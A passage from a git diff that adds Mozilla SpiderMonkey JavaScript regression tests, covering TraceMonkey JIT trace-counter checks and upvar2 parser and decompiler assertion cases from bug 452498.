+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-10.js b/js/src/tests/js1_8_1/jit/regress-462459-10.js
new file mode 100644
index 000000000..6d6c3e3f4
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-10.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace [1]';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ [1];
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-11.js b/js/src/tests/js1_8_1/jit/regress-462459-11.js
new file mode 100644
index 000000000..9d4ca8461
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-11.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace [1, 2]';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ [1, 2];
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-462459-12.js b/js/src/tests/js1_8_1/jit/regress-462459-12.js
new file mode 100644
index 000000000..c0f2d5e0b
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-462459-12.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462459;
+var summary = 'TM: trace [1, 2, 3]';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+if (!this.tracemonkey || this.tracemonkey.adaptive)
+{
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+
+ expect = 'recorder started, recorder not aborted, trace completed';
+ actual = '';
+
+ var recorderStartedStart = this.tracemonkey.recorderStarted;
+ var recorderAbortedStart = this.tracemonkey.recorderAborted;
+ var traceCompletedStart = this.tracemonkey.traceCompleted;
+
+
+ for (var i = 0; i < RUNLOOP; i++)
+ {
+ [1, 2, 3];
+ }
+
+
+ var recorderStartedEnd = this.tracemonkey.recorderStarted;
+ var recorderAbortedEnd = this.tracemonkey.recorderAborted;
+ var traceCompletedEnd = this.tracemonkey.traceCompleted;
+
+ if (recorderStartedEnd > recorderStartedStart)
+ {
+ actual = 'recorder started, ';
+ }
+ else
+ {
+ actual = 'recorder not started, ';
+ }
+
+ if (recorderAbortedEnd > recorderAbortedStart)
+ {
+ actual += 'recorder aborted, ';
+ }
+ else
+ {
+ actual += 'recorder not aborted, ';
+ }
+
+ if (traceCompletedEnd > traceCompletedStart)
+ {
+ actual += 'trace completed';
+ }
+ else
+ {
+ actual += 'trace not completed';
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/js1_8_1/jit/regress-469927.js b/js/src/tests/js1_8_1/jit/regress-469927.js
new file mode 100644
index 000000000..01d208abb
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-469927.js
@@ -0,0 +1,44 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469927;
+var summary = 'TM: jit should not slow down short loop with let';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function letitbe() {
+ var start = new Date();
+ for (let i = 0; i < 500000; ++i) {
+ for (let j = 0; j < 4; ++j) { }
+ }
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = letitbe();
+ var timejit = letitbe();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-470739.js b/js/src/tests/js1_8_1/jit/regress-470739.js
new file mode 100644
index 000000000..8e8d2c5d0
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-470739.js
@@ -0,0 +1,46 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470739;
+var summary = 'TM: never abort on ==';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function loop()
+ {
+ var i;
+ var start = new Date();
+
+ for(i=0;i<500000;++i) { var r = (void 0) == null; }
+
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = loop();
+ var timejit = loop();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-471635.js b/js/src/tests/js1_8_1/jit/regress-471635.js
new file mode 100644
index 000000000..c37a9e9fb
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-471635.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 471635;
+var summary = 'TM: trace js shell print()';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){
+ for (var i = 1; i < 20; ++i) {
+ print("#");
+ }
+ })();
+
+ var recorderStarted;
+ var recorderAborted;
+ var traceCompleted;
+ var skip = true;
+
+ if (this.tracemonkey && !this.tracemonkey.adaptive)
+ {
+ recorderStarted = this.tracemonkey.recorderStarted;
+ recorderAborted = this.tracemonkey.recorderAborted;
+ traceCompleted = this.tracemonkey.traceCompleted;
+ skip = false;
+ }
+
+
+ if (!skip)
+ {
+ expect = 'recorderStarted=1, recorderAborted=0, traceCompleted=1';
+ actual = 'recorderStarted=' + recorderStarted + ', recorderAborted=' + recorderAborted + ', traceCompleted=' + traceCompleted;
+ }
+ else
+ {
+ expect = actual = 'Test skipped due to lack of tracemonkey jitstats object.';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/jit/regress-489682.js b/js/src/tests/js1_8_1/jit/regress-489682.js
new file mode 100644
index 000000000..fd5dee8a9
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/regress-489682.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 489682;
+var summary = 'TM: wrong number with nested type-unstable loops';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var v = 0;
+
+for each (var a in [0, {}, {}, {}]) {
+ print(v);
+ v = v >>> 0;
+ for each (var b in [{}, {}, new String(''), 42, new String(''), {}, 42])
+ {
+ }
+ }
+print(v);
+
+
+expect = '0';
+actual = v + '';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8_1/jit/shell.js b/js/src/tests/js1_8_1/jit/shell.js
new file mode 100644
index 000000000..63f283b96
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/shell.js
@@ -0,0 +1,4 @@
+// The loop count at which we trace
+const RECORDLOOP = this.tracemonkey ? tracemonkey.HOTLOOP : 8;
+// The loop count at which we run the trace
+const RUNLOOP = RECORDLOOP + 1;
diff --git a/js/src/tests/js1_8_1/regress/browser.js b/js/src/tests/js1_8_1/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/browser.js
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-006.js b/js/src/tests/js1_8_1/regress/regress-452498-006.js
new file mode 100644
index 000000000..63fffd211
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-006.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #6 From Andreas Gal :gal
+
+ function foo() {
+ var x = 4;
+ var f = (function() { return x++; });
+ var g = (function() { return x++; });
+ return [f,g];
+ }
+
+ var bar = foo();
+
+ expect = '9';
+ actual = 0;
+
+ bar[0]();
+ bar[1]();
+
+ actual = String(expect);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-027.js b/js/src/tests/js1_8_1/regress/regress-452498-027.js
new file mode 100644
index 000000000..3583fa03b
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-027.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '5';
+
+// ------- Comment #27 From Brendan Eich
+
+ function f(x){function g(y)x+y;return g}
+ g = f(2);
+
+ actual = String(g(3));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
+
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-030.js b/js/src/tests/js1_8_1/regress/regress-452498-030.js
new file mode 100644
index 000000000..1d8b41908
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-030.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #30 From Mike Shaver
+
+ function f() { var i = 0; var i = 5; }
+ f();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-040.js b/js/src/tests/js1_8_1/regress/regress-452498-040.js
new file mode 100644
index 000000000..8bd97207a
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-040.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #40 From Jesse Ruderman
+
+ function m()
+ {
+ function a() { }
+ function b() { a(); }
+ this.c = function () { b(); }
+ }
+ (new m).c();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-050.js b/js/src/tests/js1_8_1/regress/regress-452498-050.js
new file mode 100644
index 000000000..309242a62
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-050.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #50 From Jason Orendorff
+
+// Do not crash
+
+// compiler bug when a block introduces no names
+ { let {}={}; }
+
+ try
+ {
+// compiler incorrectly emits GETLOCAL for first `x`,
+// triggering decompiler assertion
+ while (x.y) { let x; }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-051.js b/js/src/tests/js1_8_1/regress/regress-452498-051.js
new file mode 100644
index 000000000..cd5554e74
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-051.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #51 From Jason Orendorff
+
+// Assertion failure: UPVAR_FRAME_SKIP(uva->vector[i]) == 0
+// at ../jsopcode.cpp:2791
+//
+// when decompiling the eval code, which is:
+//
+// main:
+// 00000: 10 getupvar 0
+// 00003: 10 getprop "y"
+// 00006: 10 popv
+// 00007: 10 stop
+ try
+ {
+ function f() { var x; eval("x.y"); }
+ f();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-052-a.js b/js/src/tests/js1_8_1/regress/regress-452498-052-a.js
new file mode 100644
index 000000000..0f55d9324
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-052-a.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #52 From Jason Orendorff
+
+
+// Assertion failure: pn_arity == PN_FUNC || pn_arity == PN_NAME, at ../jsparse.h:444
+// Here the function node has been morphed into a JSOP_TRUE node, but we're in
+// FindFunArgs poking it anyway.
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+ timeout(3);
+ while(function(){});
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-053.js b/js/src/tests/js1_8_1/regress/regress-452498-053.js
new file mode 100644
index 000000000..9f70a0f74
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-053.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #53 From Jason Orendorff
+
+// Assertion failure: (slot) < (uint32_t)(obj)->dslots[-1]
+// at ../jsobj.cpp:5559
+// On the last line of BindLet, we have
+// JS_SetReservedSlot(cx, blockObj, index, PRIVATE_TO_JSVAL(pn));
+// but this uses reserved slots as though they were unlimited.
+// blockObj only has 2.
+ { let a=0, b=1, c=2; }
+
+// In RecycleTree at ../jsparse.cpp:315, we hit
+// MOZ_CRASH("RecycleUseDefKids");
+// pn->pn_type is TOK_UNARYOP
+// pn->pn_op is JSOP_XMLNAME
+// pn->pn_defn is 1
+// pn->pn_used is 1
+ try
+ {
+ true; 0;
+ }
+ catch(ex)
+ {
+ }
+// Calls LinkUseToDef with pn->pn_defn == 1.
+//
+// If you say "var x;" first, then run this case, it gets further,
+// crashing in NoteLValue like the first case in comment 52.
+//
+ try
+ {
+ for (var [x] in y) var x;
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: !pn2->pn_defn, at ../jsparse.h:461
+// Another case where some optimization is going on.
+ try
+ {
+ if (true && foo) ;
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: scope->object == ctor
+// in js_FastNewObject at ../jsbuiltins.cpp:237
+//
+// With the patch, we're new-ing a different function each time, and the
+// .prototype property is missing.
+//
+ for (var z = 0; z < 3; z++) { (new function(){}); }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-058.js b/js/src/tests/js1_8_1/regress/regress-452498-058.js
new file mode 100644
index 000000000..ac2ba0f7a
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-058.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #58 From Gary Kwong [:nth10sd]
+
+ function foo(x) { var x = x }
+
+// Assertion failure: dn->kind() == ((data->op == JSOP_DEFCONST) ? JSDefinition::CONST : JSDefinition::VAR), at ../jsparse.cpp:2595
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-062.js b/js/src/tests/js1_8_1/regress/regress-452498-062.js
new file mode 100644
index 000000000..f28c29bbf
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-062.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #62 From Gary Kwong [:nth10sd]
+
+ try
+ {
+ eval(
+ '(function(){' +
+ ' var x;' +
+ ' this.init_by_array = function()' +
+ ' x = 0;' +
+ '})();'
+ );
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: ATOM_IS_STRING(atom), at ../jsinterp.cpp:5686
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-063.js b/js/src/tests/js1_8_1/regress/regress-452498-063.js
new file mode 100644
index 000000000..970dfeca6
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-063.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #63 From Brendan Eich
+
+ function f(that) {
+ for (ix in this)
+ print(ix);
+ for (let ix in that)
+ ;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-071.js b/js/src/tests/js1_8_1/regress/regress-452498-071.js
new file mode 100644
index 000000000..647677877
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-071.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #71 From Jesse Ruderman
+
+ x; var x
+// Assertion failure: pn->pn_op == JSOP_NOP, at ../jsparse.cpp:1118
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-072.js b/js/src/tests/js1_8_1/regress/regress-452498-072.js
new file mode 100644
index 000000000..99e540c77
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-072.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #72 From Jesse Ruderman
+
+ v = function p() { delete p; };
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1711
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-073.js b/js/src/tests/js1_8_1/regress/regress-452498-073.js
new file mode 100644
index 000000000..9de10e87b
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-073.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #73 From Jesse Ruderman
+
+ try
+ {
+ eval('function() { var arguments }');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: (uintN)i < ss->top, at ../jsopcode.cpp:2801
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-074.js b/js/src/tests/js1_8_1/regress/regress-452498-074.js
new file mode 100644
index 000000000..d7f920d4a
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-074.js
@@ -0,0 +1,34 @@
